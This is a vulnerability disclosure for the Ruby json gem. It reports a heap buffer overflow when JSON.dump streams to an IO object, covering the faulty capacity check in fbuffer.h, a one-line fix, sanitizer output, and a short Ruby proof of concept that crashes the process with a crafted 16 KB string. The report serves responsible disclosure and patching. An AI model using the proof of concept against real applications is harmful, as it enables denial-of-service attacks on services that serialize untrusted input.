Ruby json: JSON generator heap buffer overflow when streaming to an IO

Summary

JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the
internal JSON generator buffer when a streamed object contains an
attacker-controlled string near 16 KB. The issue is a heap out-of-bounds write
in the IO-streaming path and is demonstrated as a reliable process crash /
denial of service.

This was triaged on HackerOne as report #3785370. The issue was confirmed there
and I was asked to open it here.

Details

Root cause is in ext/json/fbuffer/fbuffer.h, fbuffer_do_inc_capa().

On the IO path, the buffer is grown to FBUFFER_IO_BUFFER_SIZE (16383), but the
early return checks total capacity instead of remaining capacity:

 1if (RB_UNLIKELY(fb->io)) {
 2    if (fb->capa < FBUFFER_IO_BUFFER_SIZE) {
 3        fbuffer_realloc(fb, FBUFFER_IO_BUFFER_SIZE);
 4    } else {
 5        fbuffer_flush(fb);
 6    }
 7 
 8    if (RB_LIKELY(requested < fb->capa)) {
 9        return;
10    }
11}

If fb->len already contains JSON syntax bytes, and a string flush has
16383 - fb->len <= requested < 16383, this check returns even though there is
not enough space left. fbuffer_append_reserved() then writes past the buffer:

 1MEMCPY(fb->ptr + fb->len, newstr, char, len);

The minimal fix is to compare against the remaining capacity:

 1-        if (RB_LIKELY(requested < fb->capa)) {
 2+        if (RB_LIKELY(requested <= fb->capa - fb->len)) {
 3             return;
 4         }

PoC

 1require "json"
 2require "stringio"
 3 
 4io = StringIO.new
 5big = "a" * 16385
 6big[16382] = '"'          # escapable byte near the buffer boundary
 7 
 8JSON.dump([big], io)

Verified results:

 1Ruby 4.0.5 / bundled json 2.18.0:
 2malloc(): invalid size (unsorted)
 3.../json/common.rb:956: [BUG] Aborted
 4 
 5ruby/ruby master c78418b7a0 / json 2.19.8 / ASan:
 6heap-buffer-overflow WRITE of size 16382
 7  fbuffer_append_reserved  ext/json/fbuffer/fbuffer.h:145
 8  search_flush             ext/json/generator/generator.c:139
 9  convert_UTF8_to_JSON     ext/json/generator/generator.c:231
10  raw_generate_json_string ext/json/generator/generator.c:922
11  cState_m_generate        ext/json/generator/generator.c:1891

Control: the same data through JSON.dump([big]) without an IO argument returns
normally. The bug is specific to the IO-streaming path.

Impact

A remote attacker can trigger a heap out-of-bounds write if they control a
string field that an application serializes through JSON.dump(obj, io) or
JSON::State#generate(obj, io). The demonstrated impact is reliable denial of
service. I am not claiming code execution or information disclosure.